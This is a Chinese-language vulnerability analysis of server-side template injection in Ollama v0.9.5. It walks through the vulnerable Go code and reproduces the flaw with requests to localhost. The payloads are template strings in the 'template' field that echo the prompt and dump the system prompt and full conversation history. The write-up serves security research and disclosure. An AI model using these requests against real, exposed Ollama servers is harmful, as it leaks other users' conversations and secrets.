Ollama Template Injection 漏洞分析

前言

看到 ollama 的一个漏洞很有意思,模版注入,之前都不知道 ollama 还有这个漏洞

最后看到还给了赏金,看到了漏洞报告也比较有意思,于是来分析分析

一、漏洞描述

Ollama 在 v0.9.5 及更早版本中,/api/generate 和 /api/chat 端点存在服务端模板注入漏洞。当用户发送请求时,如果提供了 template 参数,系统直接将其传递给 template.Parse() 函数,使用 Go 的 text/template 引擎进行解析和执行,未进行任何安全验证。


二、环境搭建

我的环境

  • 软件版本: Ollama v0.9.5 (漏洞版本)
  • Go 版本: go1.25.3 darwin/arm64
  • 测试模型: qwen2.5:0.5b

因为需要 go 编译,ollama 是 go 编写的

部署步骤

# 1. 下载漏洞版本源码
cd /Users/xxxxxx/Desktop/漏洞分析/Ollama
git clone --depth 1 --branch v0.9.5 https://github.com/ollama/ollama.git
cd ollama

# 2. 使用国内代理编译,因为我不挂代理老是失败
export GOPROXY=https://goproxy.cn,direct
go build -o ollama .

# 3. 启动 Ollama 服务
nohup ./ollama serve > ../logs/ollama.log 2>&1 &

验证

搭建成功


三、漏洞分析/代码分析

漏洞触发链路

老规矩,先看链路,先懂整体流程后,然后再去分析代码,就会方便很多了

用户发送 POST 请求到 /api/generate
    ↓
GenerateHandler 处理请求 (server/routes.go:126)
    ↓
从请求中提取 template 参数 (req.Template)
    ↓
【漏洞点】template.Parse(req.Template) 直接解析用户输入
    ↓
Go text/template 引擎执行模板
    ↓
模板可访问 Values 结构体 (Prompt, System, Messages, Tools 等)
    ↓
敏感数据泄露

代码分析

写在代码注释里面了,重点用🔴 标注了,这样更清晰

模板解析函数

文件位置: template/template.go:126-141

// Parse 函数直接解析用户输入的模板字符串
func Parse(s string) (*Template, error) {
    // 创建新的模板实例,并注入自定义函数(包括 json 函数)
    tmpl := template.New("").Option("missingkey=zero").Funcs(funcs)

    // 🔴 直接解析用户输入的字符串 s
    tmpl, err := tmpl.Parse(s)
    if err != nil {
        return nil, err
    }

    t := Template{Template: tmpl, raw: s}
    // 检查模板是否包含 messages 或 response 变量
    if vars := t.Vars(); !slices.Contains(vars, "messages") && !slices.Contains(vars, "response") {
        // touch up the template and append {{ .Response }}
        tmpl.Tree.Root.Nodes = append(tmpl.Tree.Root.Nodes, &response)
    }

    return &t, nil
}

请求处理入口

文件位置: server/routes.go:229-238

// GenerateHandler 处理 /api/generate 请求
func (s *Server) GenerateHandler(c *gin.Context) {
    // ... 省略前面的验证和模型加载代码 ...

    prompt := req.Prompt
    if !req.Raw {
        tmpl := m.Template
        // 🔴 如果用户提供了 template 参数,直接调用 template.Parse()
        if req.Template != "" {
            tmpl, err = template.Parse(req.Template)  // ← 完全由用户控制
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
                return
            }
        }

        // ... 后续使用 tmpl 执行模板 ...

        // 🔴 执行模板时传入 values 结构体
        var b bytes.Buffer
        if err := tmpl.Execute(&b, values); err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }

        // 模板输出变成发送给 LLM 的 prompt
        prompt = b.String()
    }
    // ... 后续将 prompt 发送给 LLM ...
}

可访问的数据结构

文件位置: template/template.go:165-177

// Values 结构体定义了模板执行时可访问的所有变量
type Values struct {
    Messages []api.Message      // 对话消息历史
    api.Tools                   // 工具/插件配置 (嵌套结构)
    Prompt string               // 用户输入的提示词
    Suffix string               // 后缀内容
    Think bool                  // 思考模式标志
    IsThinkSet bool            // 是否设置了思考标志

    // forceLegacy 是测试兼容性的标志
    forceLegacy bool
}

这些决定了我们可以访问哪些内容,不过比较敏感的一般是对话历史,现在直接把完整的 key 丢给 LLM 是很正常的

模板执行函数

文件位置: template/template.go:225-310

// Execute 执行模板并将结果写入 writer
func (t *Template) Execute(w io.Writer, v Values) error {
    // 整理消息,分离 system 消息
    system, messages := collate(v.Messages)

    if v.Prompt != "" && v.Suffix != "" {
        return t.Template.Execute(w, map[string]any{
            "Prompt":     v.Prompt,
            "Suffix":     v.Suffix,
            "Response":   "",
            "Think":      v.Think,
            "IsThinkSet": v.IsThinkSet,
        })
    } else if !v.forceLegacy && slices.Contains(t.Vars(), "messages") {
        // 🔴 使用 Messages 模式时,可以访问完整对话历史,而对话历史中,往往存在敏感的信息,只有你敢想,真的什么都有,哈哈哈哈哈
        return t.Template.Execute(w, map[string]any{
            "System":     system,      // ← 可访问
            "Messages":   messages,    // ← 可访问
            "Tools":      v.Tools,     // ← 可访问
            "Response":   "",
            "Think":      v.Think,
            "IsThinkSet": v.IsThinkSet,
        })
    }

    // ... 后续处理逻辑 ...
}


四、漏洞复现

验证服务运行

请求:

curl http://localhost:11434/api/version


查看可用模型

请求:

curl http://localhost:11434/api/tags


之前我拿这个测试过,所以文件会有点多

就使用千问模型

访问 Prompt 变量

我们可以先测试模型注入

请求:

POST /api/generate HTTP/1.1
Host: localhost:11434
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139

{
    "model": "qwen2.5:0.5b",
    "prompt": "SECRET_DATA_12345",
    "template": "LEAKED:{{.Prompt}}",
    "stream": false
  }



输入的 prompt 变量回显说明 {{.Prompt}} 被成功解析, SECRET_DATA_12345 被注入到模型响应。


系统提示词

请求:

POST /api/generate HTTP/1.1
Host: localhost:11434
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139

{
    "model": "qwen2.5:0.5b",
    "prompt": "test",
    "template": "{{.System}}",
    "stream": false
}


访问对话历史

请求:

curl http://localhost:11434/api/generate \
  -H "Content-Type: application/json" \
  -d '{
    "model": "qwen2.5:0.5b",
    "prompt": "hi",
    "template": "{{range .Messages}}Role:{{.Role}} Content:{{.Content}}|{{end}}",
    "stream": false
  }'

对话历史那里多,我如何获取关键信息,go 的模版能干的事情,我们一样干,比如要求返回的字符串

把字符串交给正则匹配解析,或者 key 神的 hae 插件

五、漏洞修复

还没有看到官方发布针对此漏洞的修复版本

其实感觉还是未授权的问题,导致任意用户都可以获取到别人的对话历史了

参考资料

免责声明: 本报告仅用于安全研究和教育目的。请勿将此信息用于未经授权的测试。